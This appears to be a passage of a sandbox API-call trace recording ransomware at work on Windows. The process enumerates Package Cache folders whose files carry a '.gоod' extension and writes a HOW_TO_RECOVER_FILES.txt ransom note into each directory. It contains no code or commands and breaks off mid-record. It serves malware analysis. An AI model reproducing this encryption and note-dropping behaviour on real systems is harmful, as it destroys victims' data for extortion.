GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x74 [0143.462] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0143.867] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0144.967] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.967] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2ea3b435, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f69ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0145.009] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0b08f6, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.009] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0145.009] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.009] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0145.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0145.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0145.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0145.010] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x74 [0145.010] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.010] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.010] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2ea3b435, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f69ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0145.010] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0b08f6, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2f0b08f6, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2f0d6847, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.011] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0145.011] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0145.011] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0145.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0145.011] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8d [0145.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0145.011] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0145.012] GetFileType (hFile=0x644) returned 0x1 [0145.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0145.012] GetFileType (hFile=0x644) returned 0x1 [0145.013] WriteFile (in: hFile=0x644, lpBuffer=0x3772968*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x3772968*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0145.014] CloseHandle (hObject=0x644) returned 1 [0145.014] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0145.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0145.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0145.015] GetFileType (hFile=0x644) returned 0x1 [0145.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0145.015] GetFileType (hFile=0x644) returned 0x1 [0145.016] WriteFile (in: hFile=0x644, lpBuffer=0x3776290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x3776290*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.016] CloseHandle (hObject=0x644) returned 1 [0145.017] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0145.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0145.017] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0145.017] GetFileType (hFile=0x644) returned 0x1 [0145.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0145.018] GetFileType (hFile=0x644) returned 0x1 [0145.018] WriteFile (in: hFile=0x644, lpBuffer=0x3779b98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3779b98*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0145.019] CloseHandle (hObject=0x644) returned 1 [0145.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0145.019] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpFilePart=0x0) returned 0x53 [0145.019] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x308fd669, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x308fd669, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308fd669, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x308fd669, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30a51b78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.020] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.020] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0145.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0145.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0145.020] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpFilePart=0x0) returned 0x53 [0145.020] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x308fd669, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x308fd669, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.021] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x308fd669, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x308fd669, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.021] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308fd669, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x308fd669, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30a51b78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.021] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.021] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0145.021] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0145.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0145.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0145.022] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0145.022] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.022] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.022] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30756b70, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.022] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0145.022] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0145.023] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0145.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0145.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0145.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0145.023] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0145.023] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0145.023] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.023] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30756b70, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x30756b70, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x30756b70, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0145.023] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, 